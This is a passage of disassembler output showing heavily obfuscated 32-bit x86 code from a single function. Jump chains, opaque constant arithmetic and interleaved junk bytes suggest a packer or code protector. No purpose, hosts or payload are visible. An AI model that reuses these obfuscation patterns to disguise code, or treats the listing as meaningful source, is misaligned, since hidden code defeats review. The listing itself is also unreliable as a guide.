		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E56A:				; CODE XREF: sub_542C3C+49B3j
		push	dx
		mov	dl, 0E2h
		push	ecx
		jmp	loc_55246B
; ---------------------------------------------------------------------------

loc_54E574:				; CODE XREF: sub_542C3C+97F0j
		xor	eax, [esp+34h+var_34]
		jmp	loc_54FB51
; ---------------------------------------------------------------------------

loc_54E57C:				; CODE XREF: sub_542C3C+E669j
		mov	[esp+34h+var_34], esi
		push	ebx
		pop	esi
		jmp	loc_54B4EC
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4C4D65AAh, 1ED2E681h, 7A686721h, 89000019h, 0E368243Ch
		dd 0E9730C62h, 0FFFF9A4Ah, 5CF181h, 45E9066Fh
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E5AF:				; CODE XREF: sub_542C3C+B66Bj
		xor	ecx, edx
		pop	edx
		sub	ecx, 10E252A9h
		xor	ecx, 443C2120h
		add	ecx, 2E73E36Dh
		sub	ebp, ecx
		mov	ecx, [esp+38h+var_38]
		jmp	loc_54D2BB
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0F31079Bh, 78D1E981h, 0E9015696h, 0FFF428E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E5E1:				; CODE XREF: sub_542C3C+C594j
		xor	edi, 31A568D2h
		mov	ebx, edi
		pop	edi
		jmp	loc_54BDEE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0BFD5E957h, 0CD81FFFFh, 775B7039h, 0C03BE953h, 0C180FFFFh
		dd 1E98050h, 0FFE8D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E60D:				; CODE XREF: sub_542C3C+579Fj
		jz	loc_547B57
		push	dword ptr [edi+28h]
		push	3B9Bh
		mov	[esp+24h+var_24], eax
		jmp	loc_550787
; ---------------------------------------------------------------------------
		db 8Bh
		dd 79E92404h, 66FFFFC2h, 0E9240C8Bh, 218Ah, 4C581h, 0C5830000h
		dd 1798E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E642:				; CODE XREF: sub_542C3C+67E8j
		push	ecx
		mov	ecx, esp
		jmp	loc_549187
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 28CEF381h, 0DA014F8Ch, 81CA295Bh, 0BE1074EAh, 0E95B592Fh
		dd 0FFFF8616h, 0FEC4C781h, 0FE89FF57h, 8BF0015Fh, 0C4812434h
		dd 4, 26B1B951h, 0E1816584h, 6CAD2F58h,	7E9BE181h, 0C9810E0Ah
		dd 1E5B632Bh, 98C7C181h, 0C829E1A4h, 24043359h,	0FFB828E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E6A1:				; CODE XREF: sub_542C3C+6367j
		add	esp, 4
		pop	[esp+3Ch+var_3C]
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_552998
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 52h
		dd 0FFD354E9h, 9E6B9FFh, 0E9494E06h, 0A93h, 0D6B45066h
		dd 0D1E9E230h, 8BFFFFA3h, 0B2E9240Ch, 0E9FFFF9Eh, 0FFFF859Ah
; ---------------------------------------------------------------------------

loc_54E6E0:				; CODE XREF: sub_542C3C+EDBCj
		mov	esi, [esp+34h+var_34]
		jmp	loc_547342
; ---------------------------------------------------------------------------
a_hI		db '_h',8,'I',0
		align 2
		dw 3489h
		dd 3E88BE24h, 0F7566889h, 0F75E2414h, 0A5E681D6h, 81163867h
		dd 5B77A7E6h, 1009E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E70E:				; CODE XREF: sub_542C3C+D73Aj
		mov	edx, 3F6F6424h
		jmp	loc_54A9BA
; ---------------------------------------------------------------------------
		dd 0E903EBC1h, 3DF2h, 40558h, 0B9510000h, 4, 0F80F502Dh
		dd 0A3A9E901h, 3489FFFFh, 1B6ABE24h, 0B9512292h, 1, 6985EE81h
		dd 0EE8114D9h, 18955FFDh, 3FD8EE81h, 0C4E94DB2h, 0BFFFFFECh
		dd 73951340h, 815FF989h, 0A812FCC9h, 0EC815715h, 4, 57240C89h
		dd 0FFED5CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E779:				; CODE XREF: sub_542C3C+F91Dj
		add	esp, 4
		inc	ecx
		sub	ecx, 237A5A25h
		jmp	loc_5519CF
; ---------------------------------------------------------------------------
		dd 0F3047B04h, 6BE9162Ch
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E793:				; CODE XREF: sub_542C3C+7950j
		push	eax
		mov	eax, 11441171h
		sub	eax, 1144116Dh
		add	ebx, eax
		jmp	loc_55297F
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 0FF980EE9h, 0E9B304FFh, 0FFFFB1FFh
; ---------------------------------------------------------------------------

loc_54E7B4:				; CODE XREF: sub_542C3C+F195j
		add	esp, 4
		push	edi
		mov	edi, 10A4B5F2h
		sub	ebx, edi
		pop	edi
		add	edx, ebx
		pop	ebx
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		dd 54240489h, 1ABD5558h, 8124493Fh, 90BBAC5h, 0F182E973h
		dd 4CB2FFFFh, 0FFE85AE9h, 240C87FFh, 0F24248Bh,	9368C8B6h
		dd 89000032h, 0D5E9240Ch, 0FFFFFFECh, 669D1C77h, 24041058h
		dd 8470E99Ch, 0BE56FFFFh, 66FE1F7Eh, 0C6814E4Eh, 9901E086h
		dd 0FFFC5AE9h, 20B850FFh, 0F730666Ch, 2E8C1D0h,	0C106E8C1h
		dd 0AB0507E0h, 31D56CB5h, 0E2C158C2h, 0B9C28107h, 520C3F44h
		dd 0F7243487h, 74FF56D6h, 8F5E0424h, 815A2404h,	1C1EB2EAh
		dd 7A5605FBh, 0D0294F57h, 3CAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E861:				; CODE XREF: sub_542C3C+C979j
		xor	eax, [esp+28h+var_28]
		xor	[esp+28h+var_28], eax
		xor	eax, [esp+28h+var_28]
		pop	esp
		add	edi, 0D76584B9h
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_548EC3
		push	dword ptr [edi+1Ch]
		push	edi
		mov	edi, 718F171Bh
		sub	[esp+28h+var_24], 26983EC1h
		sub	[esp+28h+var_24], edi
		add	[esp+28h+var_24], 26983EC1h
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		pop	ecx
		push	563Bh
		mov	[esp+24h+var_24], edi
		mov	edi, 718F171Bh
		push	edi
		mov	edi, 45DF46D4h
		or	edi, 75FA3BE2h
		xor	edi, 51980250h
		add	ecx, edi
		pop	edi
		sub	ecx, 637710EEh
		sub	ecx, 77F23D1Ah
		jmp	loc_549E08
; ---------------------------------------------------------------------------
		dw 0CF88h
		dd 6E7C059h, 0FEF3B551h, 0E3C580CDh, 0E902ED80h, 0FFFFA13Eh
; ---------------------------------------------------------------------------

loc_54E8EC:				; CODE XREF: sub_542C3C+FFC0j
		push	ecx
		jmp	loc_54BFED
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 5B2434FFh, 0FFCEC5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E8FD:				; CODE XREF: sub_542C3C+71C7j
		pop	ecx
		jmp	loc_552441
; ---------------------------------------------------------------------------

loc_54E903:				; CODE XREF: sub_542C3C+A9D2j
		mov	eax, 5BDF15EEh
		shl	eax, 2
		neg	eax
		add	eax, 6F7C57F8h
		jmp	loc_54EE01
; ---------------------------------------------------------------------------
		db 0BDh
		dd 72D529ADh, 815DEA01h, 0B8D5BFF2h, 5AD001C4h,	72F80D40h
		dd 0A5052F6Ah, 3561476Ch, 0B7D9D7C0h, 0E958C101h, 0FFFFD1D1h
		dd 240C8966h, 0FFAFF9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E949:				; CODE XREF: sub_542C3C+EADAj
		pop	edi
		xchg	edx, [esp+30h+var_30]
		pop	esp
		push	17E9h
		mov	[esp+30h+var_30], edx
		push	61F9h
		mov	[esp+34h+var_34], ebp
		push	73CAh
		mov	[esp+38h+var_38], esi
		mov	esi, 1
		mov	ebp, esi
		jmp	loc_54D7A3
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 2FB73F26h, 818C781h,	0CF013D77h, 818EF81h, 0A1E93D77h
		dd 5100003Dh, 0F21289B9h, 3A29BE0Dh, 0CE293740h, 1D4DE9h
		dd 0E6895600h, 4C681h, 0C6830000h, 24348704h, 82C8E95Ch
		dd 0E5C0FFFFh, 74D6806h, 4890000h, 3077B024h, 0D6E958C5h
		dd 0B8FFFFBBh, 25441452h, 0FFD14FE9h, 0E6C15FFFh, 5EEE8105h
		dd 815CD35Dh, 269142C6h, 0E9F2017Bh, 0FFFFDB1Eh, 8904EC83h
		dd 6DE92404h, 83000006h, 0FF5504C4h, 0E9042474h, 0FFFFE9B8h
; ---------------------------------------------------------------------------

loc_54EA00:				; CODE XREF: sub_542C3C+7B79j
		push	eax
		mov	eax, 4
		jmp	loc_546D19
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFCE40E9h, 0E9565BFFh, 0FFFFF420h
; ---------------------------------------------------------------------------

loc_54EA18:				; CODE XREF: sub_542C3C+C1C7j
		mov	eax, [esp+44h+var_44]
		jmp	loc_548AF3
; ---------------------------------------------------------------------------

loc_54EA20:				; CODE XREF: sub_542C3C+BDF8j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_54F728
; ---------------------------------------------------------------------------

loc_54EA2E:				; CODE XREF: sub_542C3C+A52Ej
		push	[esp+44h+var_44]
		mov	ecx, [esp+48h+var_48]
		jmp	loc_54EA20
; ---------------------------------------------------------------------------
		db 1, 0FDh, 5Fh
		dd 8B242C87h, 4312424h,	0A96BE924h, 5257FFFFh, 39DBBA66h
		dd 0D1BB6653h, 0D3F7667Ah, 0E4CB8166h, 0DBF76678h, 0D6C38166h
		dd 0DA31662Dh, 0D789665Bh, 0C781665Ah, 0EC83F88Bh, 3C896602h
		dd 0DB40E924h, 0F7E9FFFFh, 83FFFF81h, 575B04C4h, 24BFBE56h
		dd 0EE812973h, 0CBC70F55h, 315EF789h, 0DBE95FFBh, 68FFFF81h
		dd 75967B20h, 0F7D8F758h, 19E635D8h, 57561587h,	6B25C9BFh
		dd 0E9DFF719h, 0FFFFDE92h
; ---------------------------------------------------------------------------

loc_54EABC:				; CODE XREF: sub_542C3C+40ECj
		mov	ecx, [esp+30h+var_30]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54F83E
; ---------------------------------------------------------------------------
		db 89h
		dd 67E9241Ch
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EADB:				; CODE XREF: sub_542C3C+101DEj
		push	2
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_54CB58
; ---------------------------------------------------------------------------
		db 1, 0C3h, 58h
		dd 2C381h, 1C330000h, 241C3124h, 0FFD6B0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EB05:				; CODE XREF: sub_542C3C+E596j
		mov	ebx, [esp+30h+var_30]
		jmp	loc_5502EB
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 5Eh
		dd 0B325BF57h, 575110B5h, 9D3389BFh, 0E9F98976h, 0FFFFDBDCh
		dd 0E95FFE01h, 0FFFFBAFEh, 0C2815A54h, 4, 8704C283h, 0E95C2414h
		dd 4212h, 35BF5752h, 0BA522133h, 52213351h, 78B5C281h
		dd 0FA29638Bh, 482BBD55h, 0C5814B54h, 733E4E96h, 0FFF999E9h
		dd 2C335FFFh, 242C3124h, 0E9242C33h, 2815h
; ---------------------------------------------------------------------------

loc_54EB74:				; CODE XREF: sub_542C3C+7814j
		mov	[esp+3Ch+var_3C], ebx
		push	ebp
		mov	ebp, 347B311Ch
		xor	[esp+40h+var_3C], ebp
		pop	ebp
		jmp	loc_54FA47
; ---------------------------------------------------------------------------
		db 29h
		dd 49BA2DD8h, 32E913B8h, 81FFFFF3h, 8F7F0BF5h, 5DEE2963h
		dd 895EF501h, 0F355E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EBA6:				; CODE XREF: sub_542C3C+6B82j
		push	eax
		mov	eax, 4
		mov	edx, eax
		jmp	loc_54C1CE
; ---------------------------------------------------------------------------
a0ss7		db '0èé7+',0
		align 2
		dw 0C380h
		dd 88F0E990h, 92BAFFFFh, 0E96B4B31h, 0DAh, 437ABE56h, 0BF571838h
		dd 6FDD5171h, 19F7C781h, 814F1208h, 0F85299F7h,	5FFE21C4h
		dd 0FFFFC681h, 0D6F7FFFFh, 0F681D6F7h, 2E9925A5h, 2D42E9h
		dd 28F6400h, 0FF8075E9h, 87E2DFFh, 0F829356Fh, 0FF99A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EC11:				; CODE XREF: sub_542C3C+DDCFj
		pop	ebx
		shr	ebp, 8
		xor	ebp, 421685C7h
		jmp	loc_54BE6D
; ---------------------------------------------------------------------------
		dd 8BEB295Bh, 31E9242Ch, 2DFFFF8Bh, 4F577A56h, 33E9525Ah
		dd 33FFFF96h, 0D6E92414h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC3F:				; CODE XREF: sub_542C3C+6C5Cj
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+34h+var_30]
		pop	edi
		pop	[esp+34h+var_34]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	654Ch
		jmp	loc_551BB2
; ---------------------------------------------------------------------------
		db 21h
		dd 0E4B5E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC6A:				; CODE XREF: sub_542C3C+AF34j
		sub	ebx, 79F2342Ah
		jmp	loc_54E2FC
; ---------------------------------------------------------------------------
		db 0B5h, 1Fh, 80h
		dd 0E5281DEDh, 0FF836FE9h, 242C29FFh, 86C5815Dh, 8900E2CCh
		dd 242C8BE8h, 8104C483h, 0F27B19EEh, 81C6016Ch,	0F27B19C6h
		dd 13CFE96Ch, 0D6010000h, 95A4E95Ah, 0C801FFFFh, 9F63BC05h
		dd 0D8295915h, 0FF8E3EE9h, 59CB29FFh, 0C381D301h, 244C6715h
		dd 8324148Bh, 0C38304C4h, 241C3304h, 33241C31h,	248B241Ch
		dd 0E930FF24h, 0FFFF7F96h
; ---------------------------------------------------------------------------

loc_54ECE4:				; CODE XREF: sub_542C3C+DA4Cj
		mov	eax, [esp+28h+var_28]
		add	esp, 4
		sub	esp, 4
		jmp	loc_54F230
; ---------------------------------------------------------------------------

loc_54ECF5:				; CODE XREF: sub_542C3C+AF9Ej
		add	ebp, 4
		push	ebp
		push	[esp+40h+var_3C]
		pop	ebp
		pop	[esp+40h+var_40]
		jmp	loc_546FAE
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8104C483h, 4C7h, 0BD555100h,	207A5C69h, 7A5C6BB9h, 0E9E93120h
		dd 0FFFFAE95h
; ---------------------------------------------------------------------------

loc_54ED28:				; CODE XREF: sub_542C3C+7298j
		mov	[esp+18h+var_18], ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xor	edi, [esp+14h+var_14]
		jmp	loc_54B87B
; ---------------------------------------------------------------------------

loc_54ED3B:				; CODE XREF: sub_542C3C+E8F8j
		xor	esi, edx
		pop	edx
		jmp	loc_549846
; ---------------------------------------------------------------------------
		db 81h
		dd 881600EBh, 5BD8013Ch, 0D938592Dh, 51E95F16h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED57:				; CODE XREF: sub_542C3C+7E0Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+34h+var_34]
		jmp	loc_54C846
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+0DA12h
		db 0F0h
		dd 6E94C04h, 51000005h,	0F52F46B9h, 6FC18173h, 0F76C9011h
		dd 0F621E9D1h, 405FFFFh, 83000000h, 48704E8h, 24895C24h
		dd 4685224h, 8B000000h,	0C4832414h, 24540104h, 1C8B5A04h
		dd 0E9545624h, 0FFFFAC3Fh
; ---------------------------------------------------------------------------

loc_54EDB4:				; CODE XREF: sub_542C3C+FDACj
		sub	ebx, 337937h
		add	ebp, ebx
		pop	ebx
		push	0C40h
		mov	[esp+34h+var_34], edx
		mov	edx, 4
		sub	ebp, 102C2ABAh
		add	ebp, edx
		add	ebp, 102C2ABAh
		mov	edx, [esp+34h+var_34]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+38h+var_38]
		pop	esp
		push	ebp
		push	[esp+38h+var_34]
		mov	ebp, [esp+3Ch+var_3C]
		add	esp, 4
		pop	[esp+38h+var_38]
		mov	esp, [esp+34h+var_34]
		jmp	loc_54A878
; ---------------------------------------------------------------------------

loc_54EE01:				; CODE XREF: sub_542C3C+BCD6j
		and	ecx, eax
		jmp	loc_54EA18
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 1A6DE924h, 0E95C0000h, 2AFAh
; ---------------------------------------------------------------------------

loc_54EE1C:				; CODE XREF: sub_542C3C+A7D4j
		mov	edx, 5C127458h
		not	edx
		push	edx
		jmp	loc_54B45D
; ---------------------------------------------------------------------------
		db 0C0h, 0E5h, 4
		dd 0E97AF580h, 0FFFFD641h, 900022B8h, 780A351Fh, 0A00D1534h
		dd 50DE327h, 7F0C39AAh,	0BE8F0548h, 0C321BE32h,	0C9EB8158h
		dd 0E97EA22Dh, 0FFFFBB23h, 0E9243C89h, 0FFFFC4D3h
; ---------------------------------------------------------------------------

loc_54EE64:				; CODE XREF: sub_542C3C+8246j
		mov	[esp+50h+var_50], eax
		mov	eax, 1Ch
		add	eax, 228E1BD4h
		jmp	loc_54C7FC
; ---------------------------------------------------------------------------
		dw 5ADh
		dd 36360FF6h, 639CBA52h, 0DAF777AAh, 4A07E2C1h,	92EA814Ah
		dd 1D33D08h, 24148BD0h,	2D04C483h, 2F016D1h, 0D105D801h
		dd 5502F016h, 91296CBDh, 44990557h, 0E8296C96h,	2B14E9h
		dd 0CA815A00h, 7E053F2Eh, 1AF5CA81h, 0EC8341EEh, 968CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EECA:				; CODE XREF: sub_542C3C+5297j
		xchg	ebx, [esp+28h+var_28]
		jmp	loc_547717
; ---------------------------------------------------------------------------
		dw 0CEBDh
		dd 8155050Fh, 0DF605EC5h, 8BED8137h, 0E90CDE27h, 19BFh
		dd 6624248Bh, 1E9F9F7h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EEF3:				; CODE XREF: sub_542C3C+7DEEj
		push	ebp
		mov	ebp, ebx
		jmp	loc_548DD2
; ---------------------------------------------------------------------------
		db 0ACh
		dd 89E9D830h, 53FFFFC9h, 0FF9916E9h, 6CC381FFh,	43528D48h
		dd 8106E3C1h, 0C69593C3h, 8BD8296Dh, 0C481241Ch, 4, 0D3C38159h
		dd 0E9101B7Ah, 0FFFFA3C8h, 0BA241489h, 77B260BDh, 10CC381h
		dd 0EBE97277h, 54FFFF80h, 0FFC77EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EF49:				; CODE XREF: sub_542C3C+CB0Ej
		add	esp, 4
		push	ebp
		push	0FCA50FFh
		push	[esp+3Ch+var_3C]
		pop	ebp
		add	esp, 4
		jmp	loc_5506BA
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 3EFFh
; ---------------------------------------------------------------------------

loc_54EF68:				; CODE XREF: sub_542C3C+DA80j
		push	edx
		mov	edx, 704C00AFh
		sub	ebp, edx
		jmp	loc_54B503
; ---------------------------------------------------------------------------
		db 64h,	0FFh, 32h
		dd 0FF7CFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EF7D:				; CODE XREF: sub_542C3C+A5D6j
		add	esp, 4
		push	edi
		jmp	loc_5483AB
; ---------------------------------------------------------------------------

loc_54EF89:				; CODE XREF: sub_542C3C+53CAj
		xor	eax, [esp+24h+var_24]
		jmp	loc_54E4A2
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 0E9243433h, 0FFFFFF4Ch, 1E7668ACh, 1C890000h, 0E98BB724h
		dd 0FFFF9B24h, 28B6664h, 12CBE9h, 246C8100h, 22286A04h
		dd 815E5F52h, 4C6h, 8F1FE900h, 0ED80FFFFh, 80CDFE23h, 0ED80CDC5h
		dd 8BE8883Bh, 0C481240Ch, 4, 5158C200h,	0CA08E9B1h, 0FFDA4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EFED:				; CODE XREF: sub_542C3C+91ECj
		push	[esp+0Ch+var_8]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		pop	[esp+0Ch+var_C]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	6F59h
		mov	[esp+8+var_8], ebx
		mov	eax, [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 282A060Eh
		neg	esi
		add	esi, 0FFFFFFFFh
		jmp	loc_548A82
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 296DE9h, 0C1015D00h, 2F9BA52h, 0D1012086h, 0B9C6E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F03A:				; CODE XREF: sub_542C3C+5852j
		and	eax, ecx
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		add	esp, 4
		jmp	loc_550FAC
; ---------------------------------------------------------------------------
		dd 24048B54h, 81E68956h, 4C6h, 0BF575300h, 76213AF4h, 213AF0BBh
		dd 5FFB3176h, 335BDE01h, 34312434h, 24343324h, 0FFA9A4E9h
		dd 2E2C1FFh, 6BC9CA81h,	0D1425BECh, 0DBBB53E2h,	50606F43h
		dd 0FFFD8FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F0A5:				; CODE XREF: sub_542C3C+DD37j
		xor	[esp+14h+var_14], 41F746FBh
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		mov	esi, 330815ACh
		inc	esi
		shr	esi, 3
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		not	[esp+18h+var_18]
		mov	esi, [esp+18h+var_18]
		jmp	loc_5485E4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 3BB8E9h, 7B98E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F0E2:				; CODE XREF: sub_542C3C+9641j
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		pop	edi
		jmp	loc_54CBC7
; ---------------------------------------------------------------------------
		dw 66C3h
		dd 83240C8Bh, 0CFE904ECh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F0FB:				; CODE XREF: sub_542C3C+60E4j
		sub	edx, 0F25546C0h
		jmp	loc_549CDB
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 240C8B66h, 2C481h, 0EC810000h, 4, 50240C89h,	8885B151h
		dd 4EE959CCh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F127:				; CODE XREF: sub_542C3C+831Aj
		sub	eax, 4D4C606Fh
		sub	eax, 2EC75C1Ch
		push	[esp+28h+var_28]
		pop	ecx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	edx
		jmp	loc_55312F
; ---------------------------------------------------------------------------
		db 58h,	83h, 0EFh
		dd 243C8704h, 33B6E9h, 4C28100h, 83000000h, 0A6E904EAh
		dd 0F700003Dh, 0C4F181D9h, 0F76BB775h, 60C181D1h, 89190503h
		dd 4BBA59C8h, 294E059Ch, 0EC8158C2h, 4,	56241489h, 15BEE9h
		dd 2EAC100h, 0C5F28142h, 0E9060815h, 3A23h, 8045B450h
		dd 0F480B7ECh, 58E328F3h, 0FFDF68E9h, 0C895CFFh, 2B036824h
		dd 4890000h, 0C7BA5224h, 890BCF2Ah, 44295AD0h, 8F580424h
		dd 0C7008100h, 0E90BCF2Ah, 0FFFF7AAEh
; ---------------------------------------------------------------------------

loc_54F1CC:				; CODE XREF: sub_542C3C+7324j
		shl	edi, 1
		neg	edi
		jmp	loc_54E5E1
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 11E8E9h, 0AED8100h, 89AC6467h, 3BE95DE8h, 81FFFFCFh
		dd 4C4h, 4D02800h, 665A66A6h, 4F786851h, 4890000h, 75B35324h
		dd 0FFE437E9h, 4C481FFh, 83000000h, 148904ECh, 4EC8124h
		dd 89000000h, 85BF243Ch, 8960F057h, 0B108E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F22A:				; CODE XREF: sub_542C3C+ECE5j
		pop	edi
		jmp	loc_54D4F7
; ---------------------------------------------------------------------------

loc_54F230:				; CODE XREF: sub_542C3C+C0B4j
		mov	[esp+28h+var_28], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		jmp	loc_5488A8
; ---------------------------------------------------------------------------
		db 29h,	0C5h, 58h
		dd 5212ED81h, 0E6E914DDh, 0BE000017h, 51FE1EE0h, 25BF681h
		dd 0E68150F8h, 345C570Eh, 0E952D6F7h, 0FFFFF952h, 68555251h
		dd 7FEE2E44h, 0FFBA5FE9h, 0D3B551FFh, 0E959E800h, 0FFFFE83Ch
		dd 46E768h, 24348900h, 0C3DFE954h, 1489FFFFh, 0E99C5024h
		dd 0FFFFC491h, 5D1C6F09h, 0FF79D1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F2A9:				; CODE XREF: sub_542C3C+50C7j
		pop	esp
		push	esi
		mov	esi, 325F743Fh
		neg	esi
		or	esi, 16085A65h
		sub	esi, 1
		shl	esi, 8
		add	esi, 57241C04h
		add	ebx, esi
		pop	esi
		push	6C02h
		mov	[esp+28h+var_28], esi
		jmp	loc_54B240
; ---------------------------------------------------------------------------
		db 25h
		dd 24D31FCBh, 6ABD68h, 24148900h, 0DD77C768h, 2434FF1Dh
		dd 0FF8DA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F2F1:				; CODE XREF: sub_542C3C+8065j
		add	esi, ebp
		add	esi, 297E5076h
		jmp	loc_54C6F5
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 1C78102h, 813BA774h,	32161C2h, 0F223E956h, 0D9F7FFFFh
		dd 373AF181h, 0CF890728h, 0FF834BE9h, 0BA5258FFh, 0
		dd 203DA01h, 241C8B5Ah,	0FFE113E9h, 2C1468FFh, 2C890000h
		dd 0BB535224h, 1AD156AFh, 0BA52D3F7h, 1B824E79h, 515BC281h
		dd 0D3295700h, 0FFA97CE9h, 1C6F09FFh, 7918E95Dh, 489FFFFh
		dd 0E9E1B424h, 0FFFFDC12h
; ---------------------------------------------------------------------------

loc_54F36C:				; CODE XREF: sub_542C3C+CFFDj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+38h+var_38]
		pop	esp
		jmp	loc_551B58
; ---------------------------------------------------------------------------

loc_54F383:				; CODE XREF: sub_542C3C+9047j
		pop	ecx
		and	esi, 4F866E4Ch
		jmp	loc_55152E
; ---------------------------------------------------------------------------

loc_54F38F:				; CODE XREF: sub_542C3C+91C7j
		push	ebx
		mov	ebx, 62403C2Eh
		and	ebp, ebx
		jmp	loc_54870A
; ---------------------------------------------------------------------------
		dd 145B68h, 24048900h, 1B4CE9h,	0FE6800h, 1C8B0000h, 4EC8124h
		dd 0E9000000h, 0FFFFB327h, 355AD089h, 357C7707h, 6969BF57h
		dd 0EDE959ECh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F3CF:				; CODE XREF: sub_542C3C+DC66j
		mov	edx, 7676FC1h
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		xor	edx, 8123F344h
		jmp	loc_550D37
; ---------------------------------------------------------------------------

loc_54F3E3:				; CODE XREF: sub_542C3C+A857j
		sub	edi, 4
		jmp	loc_54D72E
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 8904EC83h, 2BB241Ch, 0E9000000h, 0Eh, 582434FFh
		dd 2C04C483h, 37EFE94Fh, 0D8010000h, 55241C8Bh,	0FFD136E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F41D:				; CODE XREF: sub_542C3C+5CD7j
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ecx
		jmp	loc_54F8D0
; ---------------------------------------------------------------------------
aSp		db '\ÃéP(',0
		dd 0E9DDF600h, 0FFFFF9E5h, 7321EB81h, 0C3013643h, 7321C381h
		dd 0EB813643h, 1F322E9Bh, 0FFD35AE9h, 35D8F7FFh, 64FE53DFh
		dd 0FFBB50E9h, 7242B8FFh, 0E8C10094h, 0E9E0D108h, 9Ch
		dd 19EBE981h, 64E951F2h, 8BFFFFA7h, 1A682404h, 0E9000040h
		dd 0FFFF9B75h, 56242C8Bh, 0C6815E54h, 4, 4C681h, 34870000h
		dd 0FF8CE924h, 148BFFFFh, 0E1F1E924h, 0C89FFFFh, 9F6FE924h
		dd 9368FFFFh, 8900005Ah, 31BD242Ch, 0E93C6A11h,	0FFFFA410h
		dd 4EC81h, 3CE90000h, 53000037h, 66589DBBh, 4EBC10Fh, 2BCCE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F4E5:				; CODE XREF: sub_542C3C+458Aj
		add	ebx, 2
